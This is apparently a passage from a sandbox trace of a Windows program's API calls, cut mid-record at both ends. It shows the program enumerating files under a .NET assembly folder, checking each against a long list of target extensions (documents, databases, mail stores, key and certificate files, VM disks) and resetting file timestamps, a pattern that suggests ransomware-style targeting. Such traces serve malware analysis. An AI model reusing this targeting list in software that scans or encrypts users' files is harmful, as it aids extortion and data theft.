returned 813 [0107.700] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.702] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.702] CloseHandle (hObject=0x90) returned 1 [0107.702] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\", lpString2="mcstore.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll" [0107.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.ems") returned 0 [0107.702] lstrlenA (lpString="*.ems") returned 5 [0107.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.db") returned 0 [0107.702] lstrlenA (lpString="*.db") returned 4 [0107.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.dbf") returned 0 [0107.702] lstrlenA (lpString="*.dbf") returned 5 [0107.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.myox") returned 0 [0107.703] lstrlenA (lpString="*.myox") returned 6 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.myo") returned 0 [0107.703] lstrlenA (lpString="*.myo") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbw") returned 0 [0107.703] lstrlenA (lpString="*.qbw") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbb") returned 0 [0107.703] lstrlenA (lpString="*.qbb") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbm") returned 0 [0107.703] lstrlenA (lpString="*.qbm") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbo") returned 0 [0107.703] lstrlenA (lpString="*.qbo") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbx") returned 0 [0107.703] lstrlenA (lpString="*.qbx") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qba") returned 0 [0107.703] lstrlenA (lpString="*.qba") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qby") returned 0 [0107.703] lstrlenA (lpString="*.qby") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qbj") returned 0 [0107.703] lstrlenA (lpString="*.qbj") returned 5 [0107.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.ofx") returned 0 [0107.704] lstrlenA (lpString="*.ofx") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.qif") returned 0 [0107.704] lstrlenA (lpString="*.qif") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mye") returned 0 [0107.704] lstrlenA (lpString="*.mye") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mbox") returned 0 [0107.704] lstrlenA (lpString="*.mbox") returned 6 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.eml") returned 0 [0107.704] lstrlenA (lpString="*.eml") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.pst") returned 0 [0107.704] lstrlenA (lpString="*.pst") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.ost") returned 0 [0107.704] lstrlenA (lpString="*.ost") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.idx") returned 0 [0107.704] lstrlenA (lpString="*.idx") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.dbx") returned 0 [0107.704] lstrlenA (lpString="*.dbx") returned 5 [0107.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.sql") returned 0 [0107.704] lstrlenA (lpString="*.sql") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mdb") returned 0 [0107.705] lstrlenA (lpString="*.mdb") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.fdb") returned 0 [0107.705] lstrlenA (lpString="*.fdb") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.wab") returned 0 [0107.705] lstrlenA (lpString="*.wab") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.dat") returned 0 [0107.705] lstrlenA (lpString="*.dat") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.txt") returned 0 [0107.705] lstrlenA (lpString="*.txt") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.jpeg") returned 0 [0107.705] lstrlenA (lpString="*.jpeg") returned 6 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.jpg") returned 0 [0107.705] lstrlenA (lpString="*.jpg") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.png") returned 0 [0107.705] lstrlenA (lpString="*.png") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.php") returned 0 [0107.705] lstrlenA (lpString="*.php") returned 5 [0107.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.cs") returned 0 [0107.706] lstrlenA (lpString="*.cs") returned 4 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.cpp") returned 0 [0107.706] lstrlenA (lpString="*.cpp") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.rar") returned 0 [0107.706] lstrlenA (lpString="*.rar") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.zip") returned 0 [0107.706] lstrlenA (lpString="*.zip") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.html") returned 0 [0107.706] lstrlenA (lpString="*.html") returned 6 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.htm") returned 0 [0107.706] lstrlenA (lpString="*.htm") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.xlsx") returned 0 [0107.706] lstrlenA (lpString="*.xlsx") returned 6 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.xls") returned 0 [0107.706] lstrlenA (lpString="*.xls") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mp4") returned 0 [0107.706] lstrlenA (lpString="*.mp4") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.ppt") returned 0 [0107.706] lstrlenA (lpString="*.ppt") returned 5 [0107.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.pptx") returned 0 [0107.707] lstrlenA (lpString="*.pptx") returned 6 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.doc") returned 0 [0107.707] lstrlenA (lpString="*.doc") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.dot") returned 0 [0107.707] lstrlenA (lpString="*.dot") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.docx") returned 0 [0107.707] lstrlenA (lpString="*.docx") returned 6 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.7z") returned 0 [0107.707] lstrlenA (lpString="*.7z") returned 4 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.tar") returned 0 [0107.707] lstrlenA (lpString="*.tar") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.bz2") returned 0 [0107.707] lstrlenA (lpString="*.bz2") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.gz") returned 0 [0107.707] lstrlenA (lpString="*.gz") returned 4 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mkv") returned 0 [0107.707] lstrlenA (lpString="*.mkv") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.eml") returned 0 [0107.707] lstrlenA (lpString="*.eml") returned 5 [0107.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.msg") returned 0 [0107.708] lstrlenA (lpString="*.msg") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.edb") returned 0 [0107.708] lstrlenA (lpString="*.edb") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.accdb") returned 0 [0107.708] lstrlenA (lpString="*.accdb") returned 7 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.odb") returned 0 [0107.708] lstrlenA (lpString="*.odb") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.java") returned 0 [0107.708] lstrlenA (lpString="*.java") returned 6 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.asm") returned 0 [0107.708] lstrlenA (lpString="*.asm") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.pfx") returned 0 [0107.708] lstrlenA (lpString="*.pfx") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.pem") returned 0 [0107.708] lstrlenA (lpString="*.pem") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.p12") returned 0 [0107.708] lstrlenA (lpString="*.p12") returned 5 [0107.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.gpg") returned 0 [0107.708] lstrlenA (lpString="*.gpg") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.vsd") returned 0 [0107.709] lstrlenA (lpString="*.vsd") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.odg") returned 0 [0107.709] lstrlenA (lpString="*.odg") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.raw") returned 0 [0107.709] lstrlenA (lpString="*.raw") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.nef") returned 0 [0107.709] lstrlenA (lpString="*.nef") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.svg") returned 0 [0107.709] lstrlenA (lpString="*.svg") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.psd") returned 0 [0107.709] lstrlenA (lpString="*.psd") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.vmx") returned 0 [0107.709] lstrlenA (lpString="*.vmx") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.vmdk") returned 0 [0107.709] lstrlenA (lpString="*.vmdk") returned 6 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.vdi") returned 0 [0107.709] lstrlenA (lpString="*.vdi") returned 5 [0107.709] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.lay6") returned 0 [0107.710] lstrlenA (lpString="*.lay6") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mpeg") returned 0 [0107.710] lstrlenA (lpString="*.mpeg") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.djvu") returned 0 [0107.710] lstrlenA (lpString="*.djvu") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.tiff") returned 0 [0107.710] lstrlenA (lpString="*.tiff") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.backup") returned 0 [0107.710] lstrlenA (lpString="*.backup") returned 8 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.pdf") returned 0 [0107.710] lstrlenA (lpString="*.pdf") returned 5 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.cert") returned 0 [0107.710] lstrlenA (lpString="*.cert") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.docm") returned 0 [0107.710] lstrlenA (lpString="*.docm") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.xlsm") returned 0 [0107.710] lstrlenA (lpString="*.xlsm") returned 6 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.dwg") returned 0 [0107.710] lstrlenA (lpString="*.dwg") returned 5 [0107.710] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.nd") returned 0 [0107.711] lstrlenA (lpString="*.nd") returned 4 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.tlg") returned 0 [0107.711] lstrlenA (lpString="*.tlg") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.lgb") returned 0 [0107.711] lstrlenA (lpString="*.lgb") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mov") returned 0 [0107.711] lstrlenA (lpString="*.mov") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.xdw") returned 0 [0107.711] lstrlenA (lpString="*.xdw") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.ods") returned 0 [0107.711] lstrlenA (lpString="*.ods") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.wav") returned 0 [0107.711] lstrlenA (lpString="*.wav") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.mp3") returned 0 [0107.711] lstrlenA (lpString="*.mp3") returned 5 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.aiff") returned 0 [0107.711] lstrlenA (lpString="*.aiff") returned 6 [0107.711] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.flac") returned 0 [0107.711] lstrlenA (lpString="*.flac") returned 6 [0107.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.m4a") returned 0 [0107.712] lstrlenA (lpString="*.m4a") returned 5 [0107.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\mcstore.ni.dll", pszSpec="*.csv") returned 0 [0107.712] lstrlenA (lpString="*.csv") returned 5 [0107.712] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a7d26b, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a7d26b, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x98919650, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x2ac000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcstore.ni.dll", cAlternateFileName="")) returned 0 [0107.712] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6fcf20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f6fcf20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f6fcf20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="67c2902f53638a9056174f6130a8bde7", cAlternateFileName="67C290~1")) returned 0 [0107.712] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.712] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x740073, cFileName="mcstoredb", cAlternateFileName="MCSTOR~1")) returned 1 [0107.712] lstrcmpA (lpString1=".", lpString2="mcstoredb") returned -1 [0107.712] lstrcmpA (lpString1="..", lpString2="mcstoredb") returned -1 [0107.712] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.712] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcstoredb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb" [0107.713] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb") returned 56 [0107.713] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.713] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, 